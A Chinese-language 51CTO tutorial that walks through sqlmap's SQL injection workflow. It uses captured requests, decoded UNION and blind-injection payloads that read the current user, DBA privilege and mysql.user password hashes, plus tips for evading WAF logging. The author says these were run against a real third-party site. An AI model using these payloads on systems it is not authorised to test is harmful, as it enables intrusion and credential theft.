|
|
51CTO旗下网站
|
|
移动端

聊一聊SQLMAP在进行SQL注入时的整个流程

本文就用我们看的见的角度来分析,看看sqlmap到底发送了什么payload,这些payload是怎么出来的,不深入代码层面。

作者:sher10ck来源:信安之路|2019-07-05 08:12

【大咖·来了 第7期】10月24日晚8点观看《智能导购对话机器人实践》

很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发生了什么?

本文就用我们看的见的角度来分析,看看sqlmap到底发送了什么payload,这些payload是怎么出来的,不深入代码层面。

测试环境:

  1. sqlmap(1.3.6.58#dev)  
  2. Burp Suite  
  3. http://attack.com?1.php?id=1 

测试方式

利用 sqlmap 的 proxy 参数,我们将代理设置为 8080 端口用 burpsuite 进行抓包。

  1. sqlmap.py -u "http://attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080" 

(测试了很久好像本地搭建的环境无法抓包,所以就找了有注入点的网站,漏洞已上报给漏洞平台)

抓取到的包如下 :

sqlmap 的准备工作

我们也观察到,sqlmap 默认发送的 User-Agent 是这样的。

  1. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 

所以为了避免被 waf 或者日志里面记录,我们一般可以添加一个 --random-agent 参数在后面。

首先我们的 sqlmap 会连续发送出很多数据包来检测目标网站是否稳定:

  1. GET /xxxx.php?id=1 HTTP/1.1 
  2. Host: www.xxxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 
  7.  
  8. [INFO] testing connection to the target URL 
  9. [INFO] testing if the target URL content is stable 
  10. [INFO] target URL content is stable 

接下来会检测是否为 dynamic,和上面的请求包相比,sqlmap 修改了 id 后面的值。

  1. GET /xxxx.php?id=2324 HTTP/1.1 
  2. Host: www.xxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 
  7.  
  8. [INFO] testing if GET parameter 'id' is dynamic 

看不懂这是什么骚操作,我们来看看源码里面怎么说 (sqlmap\lib\controller\checks.py)。

  1. def checkDynParam(place, parameter, value): 
  2.     """ 
  3.     This function checks if the URL parameter is dynamic. If it is 
  4.     dynamic, the content of the page differs, otherwise the 
  5.     dynamicity might depend on another parameter. 
  6.     """ 

根据输出语句的关键词查找,我追踪到了这个 checkDynParam 函数,大概的作用就是修改我们现在获取到的参数值,看修改前后的页面返回是否相同(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的),若有变化(或者说这个参数是真实有效的),sqlmap 才会走到下一步。

下一步的数据包和功能如下:

  1. GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1 
  2. Host: www.xxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 
  7.  
  8. [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') 

我们将上面的 url 编码解码:

  1. /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 
  2. /xxxx.php?id=1'.),,.(.)" 

这几个字符串就能判断是 MySQL 数据库?又是什么骚操作,再看看源码吧 (sqlmap\lib\controller\ckecks.py):

  1. infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() 

找到了一条语句,跟踪这个 getErrorParsedDBMSes() 函数。

  1. def getErrorParsedDBMSes(): 
  2.         """ 
  3.         Parses the knowledge base htmlFp list and return its values 
  4.         formatted as a human readable string. 
  5.  
  6.         @return: list of possible back-end DBMS based upon error messages 
  7.         parsing. 
  8.         @rtype: C{str} 
  9.         """ 

那么这个函数就是通过报错信息(就是上面的 payload) 来辨别数据库的类型,刚好我找的这个网站也是爆出了 MySQL 语句的错误,然后就通过正则 (sqlmap/data/xml/errors.xml) 识别出来啦,篇幅原因源码就不分析了。

sqlmap 的注入分析

  1. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp 
  2. ecific for other DBMSes? [Y/n] Y 
  3. for the remaining tests, do you want to include all tests for 'MySQL' extending 
  4. provided level (1) and risk (1) values? [Y/n] Y 

上面 sqlmap 已经得到了数据库的类型并且参数也是有效的,接下来往下走 sqlmap 就开始判断注入了(这里直接用-v3 参数显示 payload 更加的清晰)。

这一块也是大家最需要搞清楚的一部分,很多小伙伴看着感觉有注入,哎,上 sqlmap,然后基本上一片红,但是实际上,按照 sqlmap 对注入的分类,我们可以更加清晰的了解 sqlmap 到底做了什么,这些东西是从哪里出来。

首先要说一下,sqlmap 有一个 —technique 参数,在运行的整个过程中,也是按照这几类来检测的:

  1. --technique=TECH..  SQL injection techniques to use (default "BEUSTQ") 
  2. B: Boolean-based blind SQL injection(布尔型注入) 
  3. E: Error-based SQL injection(报错型注入) 
  4. U: UNION query SQL injection(可联合查询注入) 
  5. S: Stacked queries SQL injection(可多语句查询注入) 
  6. T: Time-based blind SQL injection(基于时间延迟注入) 
  7. Q: inline_query SQL injection(内联注入) 

对这几种注入还不熟练于心的小伙伴们要好好补一下基础。

那么这些主要的注入语句,我们可以在 sqlmap/data/xml/queries.xml 中查看了解,总结的还是挺全面的,这里截取一部分出来。

  1. <dbms value="MySQL"> 
  2.         <cast query="CAST(%s AS CHAR)"/> 
  3.         <length query="CHAR_LENGTH(%s)"/> 
  4.         <isnull query="IFNULL(%s,' ')"/> 
  5.         <delimiter query=","/> 
  6.         <limit query="LIMIT %d,%d"/> 
  7.         <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/> 
  8.         <limitgroupstart query="1"/> 
  9.         <limitgroupstop query="2"/> 
  10.         <limitstring query=" LIMIT "/> 
  11.         <order query="ORDER BY %s ASC"/> 
  12.         <count query="COUNT(%s)"/> 
  13.         <comment query="-- -" query2="/*" query3="#"/> 
  14.         <substring query="MID((%s),%d,%d)"/> 
  15.         <concatenate query="CONCAT(%s,%s)"/> 
  16.         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/> 
  17.         <hex query="HEX(%s)"/> 
  18.         <inference query="ORD(MID((%s),%d,1))>%d"/> 
  19.         <banner query="VERSION()"/> 
  20.         <current_user query="CURRENT_USER()"/> 
  21.         <current_db query="DATABASE()"/> 
  22.         <hostname query="@@HOSTNAME"/> 
  23. ...... 
  24. ...... 
  25. ...... 

对于每种类型的注入语句需要如何组合,在 sqlmap/data/xml/payloads 下有六个文件,里面主要是定义了测试的名称(也就是我们控制台中输出的内容)、风险等级、一些 payload 的位置等,了解一下就行了。

  1. <test> 
  2.         <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title> 
  3.         <stype>6</stype> 
  4.         <level>1</level> 
  5.         <risk>1</risk> 
  6.         <clause>1,2,3,4,5</clause> 
  7.         <where>1</where> 
  8.         <vector>[UNION]</vector> 
  9.         <request> 
  10.             <payload/> 
  11.             <comment>[GENERIC_SQL_COMMENT]</comment> 
  12.             <char>[CHAR]</char> 
  13.             <columns>[COLSTART]-[COLSTOP]</columns> 
  14.         </request> 
  15.         <response> 
  16.             <union/> 
  17.         </response> 
  18.     </test> 

同目录下还有一个 boundaries.xml 文件,里面主要是定义了一些闭合的符号,比方说我们注入点需要闭合,添加单引号、双引号、括号等一系列的组合方式,就是从这个文件当中提取出来的。

  1. <boundary> 
  2.        <level>3</level> 
  3.        <clause>1</clause> 
  4.        <where>1,2</where> 
  5.        <ptype>3</ptype> 
  6.        <prefix>'))</prefix> 
  7.        <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix> 
  8.    </boundary> 

所以梳理一下思路,我们最终会发送给目标服务器的 payload,首先是需要闭合的 (boundaries.xml),然后从对应的注入类型的各种测试模板中提取相应的参数(比如:boolean_blind.xml),然后在 queries.xml 中取出相应的表达式,***通过 tamper 的渲染,输出我们最终的 payload,也就是我们的 -v3 参数。

sqlmap 的一些参数

我们主要分析以下两个命令:

  1. --is-dba 
  2. --passwords 

命令主要是判断 mysql 用户的一些信息,当我们发现注入可以利用的时候,下一步就是要看当前用户的权限看能有什么的操作了。

1. 判断是否是 dba 权限

sqlmap 一共发了两个请求包:

  1. GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1 
  2. Host: www.xxxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 
  7.  
  8.  
  9. GET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1 
  10. Host: www.xxxx.xxx 
  11. Accept: */* 
  12. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  13. Connection: close 
  14. Cache-Control: no-cache 

将 payload 解码:

  1. /xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP 
  2.  
  3. /xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV 

我们直接在 mysql 控制台下执行命令:

***个命令返回了用户名, 0x71766a6271 解码为 qvjbq,那么这一步我们可以提取出用户名了。

第二个命令返回了 1 ,我们将查询命令提取出来:

  1. SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1 

在 mysql 数据库下的 user 表中查询 super_priv (超级权限)的值:

返回了 Y,所以我们判断是否为 dba 的思路就是通过查看 mysql.user 下 super_priv 的值。

这个命令有一个坑,有的时候我们所注入的服务器上面并没有 mysql 这个数据库,所以用这个命令的前提是 mysql 这个数据库要存在。

2. 查询密码

抓的包:

  1. GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1 
  2. Host: www.xxxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 

解码:

  1. /xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48 

这里有个很有趣的地方,我的 sqlmap 是 1.3.6 的版本,不知道之前的是不是,他是从 mysql.user 中获取 authentication_string 的值,但是很有趣的是,这个值只有在 mysql 版本 5.7 以上,password 才会变成 authentication_string,我们也可以从 queries.xml 中找到这条语句:

  1. <passwords> 
  2.             <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/> 
  3.             <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/> 
  4. </passwords> 

发现默认就是这个 authentication_string,所以我们这里直接修改 queries.xml 中的语句,将查询的列明改成 password 再测试一下。

后面测试发现,我们在没有修改的情况下,sqlmap 也会跑出密码,而且查看 payload 之后,sqlmap 先是查了 authentication_string,然后查了 password:

看下源码,然后找到了( sqlmap/plugins/generic/users.py):

  1. values = inject.getValue(query.replace("authentication_string", "password"), blind=Falsetime=False

这里用 replace 将两个列明进行了替换,里面有个 ifel 的语句,要是***次没找到就会进行替换,这样我们的问题就解决掉啦,sqlmap 还是想的挺周全的哈哈。

总结

sqlmap 里面的内容实在是太多太多,想要摸索里面的内容需要花费大量的时间,当然收获也是成正比的,搞清楚sqlmap 的流程原理,对我们 sql 注入技术会有很大的提升。

【编辑推荐】

  1. 各种网络监控拓扑图,都看懂才算入门
  2. IT团队面临的十大信息安全威胁
  3. 永信至诚潘柱廷:未来网络安全将呈现四大变化趋势
  4. Facebook是非多,犯罪分子利用其分发RAT
  5. 在云中存储数据时的安全注意事项
【责任编辑:赵宁宁 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

订阅专栏+更多

16招轻松掌握PPT技巧

16招轻松掌握PPT技巧

GET职场加薪技能
共16章 | 晒书包

289人订阅学习

20个局域网建设改造案例

20个局域网建设改造案例

网络搭建技巧
共20章 | 捷哥CCIE

645人订阅学习

WOT2019全球人工智能技术峰会

WOT2019全球人工智能技术峰会

通用技术、应用领域、企业赋能三大章节,13大技术专场,60+国内外一线人工智能精英大咖站台,分享人工智能的平台工具、算法模型、语音视觉等技术主题,助力人工智能落地。
共50章 | WOT峰会

0人订阅学习

读 书 +更多

网管员成长手记——网络组建、配置与应用

本书主要以“网管员的成长经历”为线索展开,虚拟出一个“新手”网管员的工作和学习环境,将网管员的成长分为4个阶段,以“网管入职充电→...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊

51CTO服务号

51CTO播客